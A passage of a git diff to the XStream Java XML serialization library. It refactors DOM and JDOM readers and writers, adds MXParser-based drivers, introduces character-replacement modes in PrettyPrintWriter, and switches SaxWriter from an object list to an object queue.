StringBuilder(); + childrenStack = new FastStack<>(16); + collectChildElements(); } /** @@ -130,6 +134,9 @@ protected int getChildCount() { @Override protected void reassignCurrentElement(final Object current) { currentElement = (Element)current; + } + + private void collectChildElements() { final NodeList childNodes = currentElement.getChildNodes(); childElements = new ArrayList<>(); for (int i = 0; i < childNodes.getLength(); i++) { @@ -140,6 +147,19 @@ protected void reassignCurrentElement(final Object current) { } } + @Override + public void moveDown() { + super.moveDown(); + childrenStack.push(childElements); + collectChildElements(); + } + + @Override + public void moveUp() { + childElements = childrenStack.pop(); + super.moveUp(); + } + @Override public String peekNextChild() { final NodeList childNodes = currentElement.getChildNodes(); diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/DomWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/DomWriter.java index 23d006038..caf77dde1 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/DomWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/DomWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ /** * @author Michael Kopp */ -public class DomWriter extends AbstractDocumentWriter { +public class DomWriter extends AbstractDocumentWriter { private final Document document; private boolean hasRootElement; @@ -84,7 +84,7 @@ public DomWriter(final Element rootElement, final XmlFriendlyReplacer replacer) } @Override - protected Object createNode(final String name) { + protected Element createNode(final String name) { final Element child = document.createElement(encodeNode(name)); final Element top = top(); if (top != null) { @@ -107,6 +107,6 @@ public void setValue(final String text) { } private Element top() { - return (Element)getCurrent(); + return getCurrent(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Driver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Driver.java index 8a4cbdba0..578f534bd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Driver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Driver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2013, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -52,9 +52,7 @@ public HierarchicalStreamReader createReader(final Reader reader) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(reader); return new JDom2Reader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } @@ -65,9 +63,7 @@ public HierarchicalStreamReader createReader(final InputStream in) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(in); return new JDom2Reader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } @@ -78,9 +74,7 @@ public HierarchicalStreamReader createReader(final URL in) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(in); return new JDom2Reader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } @@ -91,9 +85,7 @@ public HierarchicalStreamReader createReader(final File in) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(in); return new JDom2Reader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Writer.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Writer.java index 351d847f2..3ee151865 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Writer.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDom2Writer.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014 XStream Committers. + * Copyright (C) 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,7 +20,7 @@ /** * @since 1.4.5 */ -public class JDom2Writer extends AbstractDocumentWriter { +public class JDom2Writer extends AbstractDocumentWriter { private final JDOMFactory documentFactory; @@ -75,7 +75,7 @@ public JDom2Writer() { } @Override - protected Object createNode(final String name) { + protected Element createNode(final String name) { final Element element = documentFactory.element(encodeNode(name)); final Element parent = top(); if (parent != null) { @@ -98,6 +98,6 @@ public void addAttribute(final String key, final String value) { * @since 1.4.5 */ private Element top() { - return (Element)getCurrent(); + return getCurrent(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomDriver.java index 045d82130..6deba9f08 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomDriver.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -61,9 +61,7 @@ public HierarchicalStreamReader createReader(final Reader reader) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(reader); return new JDomReader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } @@ -74,9 +72,7 @@ public HierarchicalStreamReader createReader(final InputStream in) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(in); return new JDomReader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } @@ -87,9 +83,7 @@ public HierarchicalStreamReader createReader(final URL in) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(in); return new JDomReader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } @@ -100,9 +94,7 @@ public HierarchicalStreamReader createReader(final File in) { final SAXBuilder builder = createBuilder(); final Document document = builder.build(in); return new JDomReader(document, getNameCoder()); - } catch (final IOException e) { - throw new StreamException(e); - } catch (final JDOMException e) { + } catch (final IOException | JDOMException e) { throw new StreamException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomWriter.java index d02fe333b..0e027f42f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/JDomWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -21,7 +21,7 @@ /** * @author Laurent Bihanic */ -public class JDomWriter extends AbstractDocumentWriter { +public class JDomWriter extends AbstractDocumentWriter { private final JDOMFactory documentFactory; @@ -91,7 +91,7 @@ public JDomWriter() { } @Override - protected Object createNode(final String name) { + protected Element createNode(final String name) { final Element element = documentFactory.element(encodeNode(name)); final Element parent = top(); if (parent != null) { @@ -111,6 +111,6 @@ public void addAttribute(final String key, final String value) { } private Element top() { - return (Element)getCurrent(); + return getCurrent(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/MXParserDomDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/MXParserDomDriver.java new file mode 100644 index 000000000..60f056207 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/MXParserDomDriver.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2021 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 02. January 2021 by Joerg Schaible + */ +package com.thoughtworks.xstream.io.xml; + +import org.xmlpull.v1.XmlPullParser; + +import com.thoughtworks.xstream.io.HierarchicalStreamDriver; +import com.thoughtworks.xstream.io.naming.NameCoder; + +import io.github.xstream.mxparser.MXParser; + + +/** + * A {@link HierarchicalStreamDriver} for XPP DOM using the MXParser fork. + * + * @author Jörg Schaible + * @since 1.4.16 + */ +public class MXParserDomDriver extends AbstractXppDomDriver { + + /** + * Construct an MXParserDomDriver. + * + * @since 1.4.16 + */ + public MXParserDomDriver() { + super(new XmlFriendlyNameCoder()); + } + + /** + * Construct an Xpp3DomDriver. + * + * @param nameCoder the replacer for XML friendly names + * @since 1.4 + */ + public MXParserDomDriver(final NameCoder nameCoder) { + super(nameCoder); + } + + @Override + protected XmlPullParser createParser() { + return new MXParser(); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/MXParserDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/MXParserDriver.java new file mode 100644 index 000000000..fb9f36857 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/MXParserDriver.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2021 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 2. January 2021 by Joerg Schaible + */ +package com.thoughtworks.xstream.io.xml; + +import org.xmlpull.v1.XmlPullParser; + +import com.thoughtworks.xstream.io.HierarchicalStreamDriver; +import com.thoughtworks.xstream.io.naming.NameCoder; + +import io.github.xstream.mxparser.MXParser; + + +/** + * A {@link HierarchicalStreamDriver} using the MXParser fork. + * + * @author Jörg Schaible + * @since 1.4.16 + */ +public class MXParserDriver extends AbstractXppDriver { + + /** + * Construct an MXParserDriver. + * + * @since 1.4.16 + */ + public MXParserDriver() { + super(new XmlFriendlyNameCoder()); + } + + /** + * Construct an Xpp3Driver. + * + * @param nameCoder the replacer for XML friendly names + * @since 1.4.16 + */ + public MXParserDriver(final NameCoder nameCoder) { + super(nameCoder); + } + + @Override + protected XmlPullParser createParser() { + return new MXParser(); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/PrettyPrintWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/PrettyPrintWriter.java index 5d6f752fd..8a5f19a69 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/PrettyPrintWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/PrettyPrintWriter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2023, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; @@ -38,20 +38,45 @@ * neither directly nor as entity nor within CDATA. However, this writer works by default in a quirks mode, where it * will write any character at least as character entity (even a null character). You may switch into XML_1_1 mode * (which supports most characters) or XML_1_0 that does only support a very limited number of control characters. See - * XML specification for version 1.0 or 1.1. If a character is not supported, a + * XML specification for version 1.0 or + * 1.1. If a character is not supported, a * {@link StreamException} is thrown. Select a proper parser implementation that respects the version in the XML header - * (the Xpp3 parser will also read character entities of normally invalid characters). + * (the Xpp3 or MX parsers will also read character entities of normally invalid characters). You may also switch to + * XML_1_0_REPLACEMENT or XML_1_1_REPLACEMENT mode, which will replace the invalid characters with a U+FFFD replacement + * character. *

    - * + * * @author Joe Walnes * @author Jörg Schaible */ public class PrettyPrintWriter extends AbstractXmlWriter { + /** Quirks mode: Writes any character into data stream incl. U+0000. */ public static int XML_QUIRKS = -1; + /** + * XML 1.0 mode: Writes characters according XML 1.0 specification, throws {@link StreamException} for invalid + * characters. + */ public static int XML_1_0 = 0; + /** + * XML 1.1 mode: Writes characters according XML 1.1 specification, throws {@link StreamException} for invalid + * characters. + */ public static int XML_1_1 = 1; + /** + * XML 1.0 mode: Writes characters according XML 1.0 specification, writes character U+FFFFD as replacement for + * invalid ones. + * + * @since 1.4.21 + */ + public static int XML_1_0_REPLACEMENT = 2; + /** + * XML 1.1 mode: Writes characters according XML 1.1 specification, writes character U+FFFFD as replacement for + * invalid ones. + * + * @since 1.4.21 + */ + public static int XML_1_1_REPLACEMENT = 3; private final QuickWriter writer; private final FastStack elementStack = new FastStack<>(16); @@ -71,17 +96,19 @@ public class PrettyPrintWriter extends AbstractXmlWriter { private static final char[] QUOT = """.toCharArray(); private static final char[] APOS = "'".toCharArray(); private static final char[] CLOSE = " XML_1_1) { - throw new IllegalArgumentException("Not a valid XML mode"); + if (mode < XML_QUIRKS || mode > XML_1_1_REPLACEMENT) { + throw new IllegalArgumentException("Not a valid XML mode: " + mode); } } @@ -206,13 +233,13 @@ protected void writeText(final QuickWriter writer, final String text) { } private void writeText(final String text, final boolean isAttribute) { - final int length = text.length(); - for (int i = 0; i < length; i++) { - final char c = text.charAt(i); + text.codePoints().forEach(c -> { switch (c) { case '\0': if (mode == XML_QUIRKS) { writer.write(NULL); + } else if (mode == XML_1_0_REPLACEMENT || mode == XML_1_1_REPLACEMENT) { + writer.write(REPLACEMENT); } else { throw new StreamException("Invalid character 0x0 in XML stream"); } @@ -238,41 +265,66 @@ private void writeText(final String text, final boolean isAttribute) { case '\t': case '\n': if (!isAttribute) { - writer.write(c); + writer.write(Character.toChars(c)); break; } //$FALL-THROUGH$ default: if (Character.isDefined(c) && !Character.isISOControl(c)) { + boolean replaced = false; if (mode != XML_QUIRKS) { if (c > '\ud7ff' && c < '\ue000') { - throw new StreamException("Invalid character 0x" - + Integer.toHexString(c) - + " in XML stream"); + if (mode == XML_1_0_REPLACEMENT || mode == XML_1_1_REPLACEMENT) { + writer.write(REPLACEMENT); + replaced = true; + } else { + throw new StreamException("Invalid character 0x" + + Integer.toHexString(c) + + " in XML stream"); + } } } - writer.write(c); + if (!replaced) { + writer.write(Character.toChars(c)); + } } else { - if (mode == XML_1_0) { - if (c < 9 || c == '\u000b' || c == '\u000c' || c == '\u000e' || c >= '\u000f' && c <= '\u001f') { - throw new StreamException("Invalid character 0x" - + Integer.toHexString(c) - + " in XML 1.0 stream"); + boolean replaced = false; + if (mode == XML_1_0 || mode == XML_1_0_REPLACEMENT) { + if (c < 9 + || c == '\u000b' + || c == '\u000c' + || c == '\u000e' + || c >= '\u000f' && c <= '\u001f') { + if (mode == XML_1_0_REPLACEMENT) { + writer.write(REPLACEMENT); + replaced = true; + } else { + throw new StreamException("Invalid character 0x" + + Integer.toHexString(c) + + " in XML 1.0 stream"); + } } } if (mode != XML_QUIRKS) { if (c == '\ufffe' || c == '\uffff') { - throw new StreamException("Invalid character 0x" - + Integer.toHexString(c) - + " in XML stream"); + if (mode == XML_1_0_REPLACEMENT || mode == XML_1_1_REPLACEMENT) { + writer.write(REPLACEMENT); + replaced = true; + } else { + throw new StreamException("Invalid character 0x" + + Integer.toHexString(c) + + " in XML stream"); + } } } - writer.write("&#x"); - writer.write(Integer.toHexString(c)); - writer.write(';'); + if (!replaced) { + writer.write("&#x"); + writer.write(Integer.toHexString(c)); + writer.write(';'); + } } } - } + }); } @Override @@ -327,7 +379,7 @@ public void close() { /** * Retrieve the line terminator. This method returns always a line feed, since according the XML specification any * parser must ignore a carriage return. Overload this method, if you need different behavior. - * + * * @return the line terminator * @since 1.3 */ diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/SaxWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/SaxWriter.java index 34f767ac8..37df52caf 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/SaxWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/SaxWriter.java @@ -1,22 +1,27 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 14. August 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import java.util.ArrayList; -import java.util.Collections; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.ArrayDeque; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; +import java.util.Queue; +import java.util.concurrent.BlockingQueue; +import java.util.function.Supplier; import org.xml.sax.ContentHandler; import org.xml.sax.DTDHandler; @@ -32,6 +37,7 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.StreamException; import com.thoughtworks.xstream.io.naming.NameCoder; +import com.thoughtworks.xstream.mapper.Mapper; /** @@ -41,7 +47,7 @@ *

    * As a custom SAX parser, this class ignores the arguments of the two standard parse methods ( * {@link #parse(java.lang.String)} and {@link #parse(org.xml.sax.InputSource)}) but relies on a proprietary SAX - * property {@link #SOURCE_OBJECT_LIST_PROPERTY} to define the list of objects to serialize. + * property {@link #SOURCE_OBJECT_QUEUE_PROPERTY} to define the list of objects to serialize. *

    *

    * Configuration of this SAX parser is achieved through the standard {@link #setProperty SAX property mechanism}. While @@ -49,27 +55,52 @@ * to be propagated through a chain of {@link org.xml.sax.XMLFilter filters} down to the underlying parser object. *

    *

    - * This mechanism shall be used to configure the {@link #SOURCE_OBJECT_LIST_PROPERTY objects to be serialized} as well + * This mechanism shall be used to configure the {@link #SOURCE_OBJECT_QUEUE_PROPERTY objects to be serialized} as well * as the {@link #CONFIGURED_XSTREAM_PROPERTY XStream facade}. *

    - * + * * @author Laurent Bihanic + * @author Joerg Schaible */ public final class SaxWriter extends AbstractXmlWriter implements XMLReader { /** * The {@link #setProperty SAX property} to configure the XStream facade to be used for object serialization. If the * property is not set, a new XStream facade will be allocated for each parse. */ - public final static String CONFIGURED_XSTREAM_PROPERTY = "http://com.thoughtworks.xstream/sax/property/configured-xstream"; + public final static String CONFIGURED_XSTREAM_PROPERTY = + "http://com.thoughtworks.xstream/sax/property/configured-xstream"; + + /** + * The {@link #setProperty SAX property} to configure a list of Java objects to serialize. Setting this property + * prior invoking one of the parse() methods is mandatory. + * + * @deprecated As of upcoming use {@link #SOURCE_OBJECT_QUEUE_PROPERTY} instead + */ + @Deprecated + public final static String SOURCE_OBJECT_LIST_PROPERTY = + "http://com.thoughtworks.xstream/sax/property/source-object-list"; /** - * The {@link #setProperty SAX property} to configure the list of Java objects to serialize. Setting this property + * The {@link #setProperty SAX property} to configure a queue of Java objects to serialize. Setting this property * prior invoking one of the parse() methods is mandatory. - * + * + * @see #parse(java.lang.String) + * @see #parse(org.xml.sax.InputSource) + */ + public final static String SOURCE_OBJECT_QUEUE_PROPERTY = + "http://com.thoughtworks.xstream/sax/property/source-object-queue"; + + /** + * The {@link #setProperty SAX property} to provide a Supplier for a CustomObjectOutputStream used to write objects + * to marshal into a BlockingQueue. + * * @see #parse(java.lang.String) * @see #parse(org.xml.sax.InputSource) */ - public final static String SOURCE_OBJECT_LIST_PROPERTY = "http://com.thoughtworks.xstream/sax/property/source-object-list"; + public final static String OOS_SUPPLIER_PROPERTY = + "http://com.thoughtworks.xstream/sax/property/custom-oos-supplier"; + + final static Serializable EOS = new Mapper.Null(); // ========================================================================= // SAX XMLReader interface support @@ -170,7 +201,7 @@ public SaxWriter() { *

    * Note: This implementation only supports the two mandatory SAX features. *

    - * + * * @param name the feature name, which is a fully-qualified URI. * @param value the requested state of the feature (true or false). * @throws SAXNotRecognizedException when the XMLReader does not recognize the feature name. @@ -203,7 +234,7 @@ public void setFeature(final String name, final boolean value) throws SAXNotReco *

    * Implementors are free (and encouraged) to invent their own features, using names built on their own URIs. *

    - * + * * @param name the feature name, which is a fully-qualified URI. * @return the current state of the feature (true or false). * @throws SAXNotRecognizedException when the XMLReader does not recognize the feature name. @@ -242,10 +273,11 @@ public boolean getFeature(final String name) throws SAXNotRecognizedException { * This method is also the standard mechanism for setting extended handlers. *

    *

    - * Note: This implementation only supports two (proprietary) properties: - * {@link #CONFIGURED_XSTREAM_PROPERTY} and {@link #SOURCE_OBJECT_LIST_PROPERTY}. + * Note: This implementation only supports four (proprietary) properties: + * {@link #CONFIGURED_XSTREAM_PROPERTY}, {@link #SOURCE_OBJECT_QUEUE_PROPERTY}. {@link #OOS_SUPPLIER_PROPERTY} and + * the legacy {@link #SOURCE_OBJECT_LIST_PROPERTY}. *

    - * + * * @param name the property name, which is a fully-qualified URI. * @param value the requested value for the property. * @throws SAXNotRecognizedException when the XMLReader does not recognize the property name. @@ -254,32 +286,55 @@ public boolean getFeature(final String name) throws SAXNotRecognizedException { * @see #getProperty */ @Override - public void setProperty(final String name, Object value) throws SAXNotRecognizedException, SAXNotSupportedException { - if (name.equals(CONFIGURED_XSTREAM_PROPERTY)) { + public void setProperty(String name, Object value) throws SAXNotRecognizedException, SAXNotSupportedException { + switch (name) { + case CONFIGURED_XSTREAM_PROPERTY: if (!(value instanceof XStream)) { - throw new SAXNotSupportedException("Value for property \"" - + CONFIGURED_XSTREAM_PROPERTY - + "\" must be a non-null XStream object"); + throw new SAXNotSupportedException(String + .format("Value for property \"%s\" must be a non-null XStream object", + CONFIGURED_XSTREAM_PROPERTY)); } - } else if (name.equals(SOURCE_OBJECT_LIST_PROPERTY)) { + break; + case SOURCE_OBJECT_LIST_PROPERTY: if (value instanceof List) { - final List list = (List)value; - - if (list.isEmpty()) { - throw new SAXNotSupportedException("Value for property \"" - + SOURCE_OBJECT_LIST_PROPERTY - + "\" shall not be an empty list"); - } else { + value = new LinkedList<>((List)value); + properties.put(name, value); // just for backward compatibility + } else { + throw new SAXNotSupportedException(String + .format("Value for property \"%s\" must be a non-null List object", name)); + } + //$FALL-THROUGH$ + case SOURCE_OBJECT_QUEUE_PROPERTY: + if (value instanceof BlockingQueue) { + // OK, take it directly + } else if (value instanceof Queue) { + final Queue queue = (Queue)value; + + if (queue.isEmpty()) { + throw new SAXNotSupportedException(String + .format("Value for property \"%s\" shall not be an empty %s", name, name + .equals(SOURCE_OBJECT_QUEUE_PROPERTY) ? "queue" : "list")); + } else if (name.equals(SOURCE_OBJECT_QUEUE_PROPERTY)) { // Perform a copy of the list to prevent the application to // modify its content while the parse is being performed. - value = Collections.unmodifiableList(new ArrayList<>(list)); + value = new ArrayDeque<>(queue); } } else { - throw new SAXNotSupportedException("Value for property \"" - + SOURCE_OBJECT_LIST_PROPERTY - + "\" must be a non-null List object"); + throw new SAXNotSupportedException(String + .format("Value for property \"%s\" must be a non-null Queue object", name)); } - } else { + name = SOURCE_OBJECT_QUEUE_PROPERTY; + break; + case OOS_SUPPLIER_PROPERTY: + if (value instanceof Supplier) { + // OK + } else { + throw new SAXNotSupportedException(String + .format("Value for property \"%s\" has to be a supplier for the ObjectOutputStream", + OOS_SUPPLIER_PROPERTY)); + } + break; + default: throw new SAXNotRecognizedException(name); } properties.put(name, value); @@ -301,7 +356,7 @@ public void setProperty(final String name, Object value) throws SAXNotRecognized *

    * Implementors are free (and encouraged) to invent their own properties, using names built on their own URIs. *

    - * + * * @param name the property name, which is a fully-qualified URI. * @return the current value of the property. * @throws SAXNotRecognizedException when the XMLReader does not recognize the property name. @@ -309,9 +364,13 @@ public void setProperty(final String name, Object value) throws SAXNotRecognized */ @Override public Object getProperty(final String name) throws SAXNotRecognizedException { - if (name.equals(CONFIGURED_XSTREAM_PROPERTY) || name.equals(SOURCE_OBJECT_LIST_PROPERTY)) { + switch (name) { + case CONFIGURED_XSTREAM_PROPERTY: + case OOS_SUPPLIER_PROPERTY: + case SOURCE_OBJECT_QUEUE_PROPERTY: + case SOURCE_OBJECT_LIST_PROPERTY: return properties.get(name); - } else { + default: throw new SAXNotRecognizedException(name); } } @@ -329,7 +388,7 @@ public Object getProperty(final String name) throws SAXNotRecognizedException { * Applications may register a new or different resolver in the middle of a parse, and the SAX parser must begin * using the new resolver immediately. *

    - * + * * @param resolver the entity resolver. * @throws NullPointerException if the resolver argument is null. * @see #getEntityResolver @@ -345,7 +404,7 @@ public void setEntityResolver(final EntityResolver resolver) { /** * Returns the current entity resolver. - * + * * @return the current entity resolver, or null if none has been registered. * @see #setEntityResolver */ @@ -364,7 +423,7 @@ public EntityResolver getEntityResolver() { * Applications may register a new or different handler in the middle of a parse, and the SAX parser must begin * using the new handler immediately. *

    - * + * * @param handler the DTD handler. * @throws NullPointerException if the handler argument is null. * @see #getDTDHandler @@ -380,7 +439,7 @@ public void setDTDHandler(final DTDHandler handler) { /** * Returns the current DTD handler. - * + * * @return the current DTD handler, or null if none has been registered. * @see #setDTDHandler */ @@ -399,7 +458,7 @@ public DTDHandler getDTDHandler() { * Applications may register a new or different handler in the middle of a parse, and the SAX parser must begin * using the new handler immediately. *

    - * + * * @param handler the content handler. * @throws NullPointerException if the handler argument is null. * @see #getContentHandler @@ -415,7 +474,7 @@ public void setContentHandler(final ContentHandler handler) { /** * Returns the current content handler. - * + * * @return the current content handler, or null if none has been registered. * @see #setContentHandler */ @@ -435,7 +494,7 @@ public ContentHandler getContentHandler() { * Applications may register a new or different handler in the middle of a parse, and the SAX parser must begin * using the new handler immediately. *

    - * + * * @param handler the error handler. * @throws NullPointerException if the handler argument is null. * @see #getErrorHandler @@ -451,7 +510,7 @@ public void setErrorHandler(final ErrorHandler handler) { /** * Returns the current error handler. - * + * * @return the current error handler, or null if none has been registered. * @see #setErrorHandler */ @@ -471,11 +530,11 @@ public ErrorHandler getErrorHandler() { * equivalent of the following: *

    *
    - * + * *
          * parse(new InputSource(systemId));
          * 
    - * + * *
    *

    * If the system identifier is a URL, it must be fully resolved by the application before it is passed to the @@ -483,10 +542,10 @@ public ErrorHandler getErrorHandler() { *

    *

    * Note: As a custom SAX parser, this class ignores the systemId argument of this - * method and relies on the proprietary SAX property {@link #SOURCE_OBJECT_LIST_PROPERTY}) to define the list of + * method and relies on the proprietary SAX property {@link #SOURCE_OBJECT_QUEUE_PROPERTY}) to define the list of * objects to serialize. *

    - * + * * @param systemId the system identifier (URI). * @throws SAXException Any SAX exception, possibly wrapping another exception. * @see #parse(org.xml.sax.InputSource) @@ -517,10 +576,10 @@ public void parse(final String systemId) throws SAXException { *

    *

    * Note: As a custom SAX parser, this class ignores the source argument of this method - * and relies on the proprietary SAX property {@link #SOURCE_OBJECT_LIST_PROPERTY}) to define the list of objects to - * serialize. + * and relies on the proprietary SAX property {@link #SOURCE_OBJECT_QUEUE_PROPERTY}) to define the list of objects + * to serialize. *

    - * + * * @param input The input source for the top-level of the XML document. * @throws SAXException Any SAX exception, possibly wrapping another exception. * @see org.xml.sax.InputSource @@ -537,7 +596,7 @@ public void parse(final InputSource input) throws SAXException { /** * Serializes the Java objects of the configured list into a flow of SAX events. - * + * * @throws SAXException if the configured object list is invalid or object serialization failed. */ private void parse() throws SAXException { @@ -546,20 +605,34 @@ private void parse() throws SAXException { xstream = new XStream(); } - final List source = (List)properties.get(SOURCE_OBJECT_LIST_PROPERTY); - if (source == null || source.isEmpty()) { - throw new SAXException("Missing or empty source object list. Setting property \"" - + SOURCE_OBJECT_LIST_PROPERTY + final Queue source = (Queue)properties.get(SOURCE_OBJECT_QUEUE_PROPERTY); + if (source == null || source.isEmpty() && !(source instanceof BlockingQueue)) { + throw new SAXException("Missing or empty source object queue. Setting property \"" + + SOURCE_OBJECT_QUEUE_PROPERTY + "\" is mandatory"); } try { - startDocument(true); - for (final Object name : source) { - xstream.marshal(name, this); + @SuppressWarnings("unchecked") + final Supplier supplier = (Supplier)properties + .get(OOS_SUPPLIER_PROPERTY); + if (supplier != null) { + final ObjectOutputStream oos = supplier.get(); + for (Object o = null; o != EOS;) { + o = source instanceof BlockingQueue ? ((BlockingQueue)source).take() : source.poll(); + if (o != EOS) { + oos.writeObject(o); + } + } + oos.close(); + } else { + startDocument(true); + for (final Object name : source) { + xstream.marshal(name, this); + } + endDocument(true); } - endDocument(true); - } catch (final StreamException e) { + } catch (final IOException | InterruptedException e) { if (e.getCause() instanceof SAXException) { throw (SAXException)e.getCause(); } else { @@ -642,7 +715,7 @@ public void endNode() { /** * Fires the SAX startDocument event towards the configured ContentHandler. - * + * * @param multiObjectMode whether serialization of several object will be merge into a single SAX document. * @throws SAXException if thrown by the ContentHandler. */ @@ -661,7 +734,7 @@ private void startDocument(final boolean multiObjectMode) throws SAXException { /** * Fires the SAX endDocument event towards the configured ContentHandler. - * + * * @param multiObjectMode whether serialization of several object will be merge into a single SAX document. * @throws SAXException if thrown by the ContentHandler. */ @@ -674,7 +747,7 @@ private void endDocument(final boolean multiObjectMode) throws SAXException { /** * Fires any pending SAX startElement event towards the configured ContentHandler. - * + * * @throws SAXException if thrown by the ContentHandler. */ private void flushStartTag() throws SAXException { diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/SimpleStaxDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/SimpleStaxDriver.java new file mode 100644 index 000000000..7ee4b9210 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/SimpleStaxDriver.java @@ -0,0 +1,112 @@ +/* + * Copyright (C) 2019 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 15. March 2019 by Joerg Schaible + */ +package com.thoughtworks.xstream.io.xml; + 